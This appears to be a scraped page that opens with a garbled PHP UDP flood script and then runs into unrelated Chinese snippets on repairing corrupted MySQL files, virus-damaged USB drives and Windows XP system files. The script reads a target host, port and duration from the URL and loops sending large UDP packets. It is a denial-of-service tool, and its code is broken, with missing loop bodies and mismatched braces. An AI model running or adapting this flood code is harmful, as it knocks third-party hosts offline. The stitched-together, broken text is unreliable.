<?php
set_time_limit(999999);
$host = $_get['host'];
$port = $_get['port'];
$exec_time = $_get['time'];
$sendlen = 65535;
$packets = 0;
ignore_user_abort(true);
if (strlen($host)==0 or strlen($port)==0 or strlen($exec_time)==0)
echo "warning to: opening";
exit;
}for($i=0;$i<$sendlen;$i++)
$max_time = time()+$exec_time;
while(1)
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
if($fp)
}echo "send host:$host:$port
";echo "send flow:$packets * ($sendlen/1024=" . round($sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$sendlen/1024/1024, 2) . " mb
";echo "send rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$sendlen/1024/1024, 2) . " mb/s";
?>
破壞mysql mysql資料檔案破壞後的修復方法
由於臨時斷電,使用kill 9中止mysql服務程序,所有的這些都可能會毀壞mysql的資料檔案。如果在被干擾時,服務正在改變檔案,檔案可能會留下錯誤的或不一致的狀態。因為這樣的毀壞有時是不容易被發現的,當你發現這個錯誤時可能是很久以後的事了。於是,當你發現這個問題時,也許所有的備份都有同樣的錯誤。...
U盤檔案路徑找不到或檔案破壞
u盤檔案路徑找不到或檔案破壞修復 這種情況可能是由好多種原因引起的,下面介紹一種由worm 也可能是其他的病毒 病毒導致出現這種情況的。一 開始 執行 輸入cmd命令。二 再輸入chkdsk 碟符 r,修復u盤 三 利用防毒軟體查殺病毒,但發現u盤中的資料夾全部變成.exe的副檔名了,而真正的檔案不...
巧妙恢復被破壞的Win XP系統檔案
如果windows xp的系統檔案被病毒或其它原因破壞了,我們可以從windows xp的安裝盤中恢復那些被破壞的檔案 如果windows xp的系統檔案被病毒或其它原因破壞了,我們可以從windows xp的安裝盤中恢復那些被破壞的檔案。具體方法 在windows xp的安裝盤中搜尋被破壞的檔案,...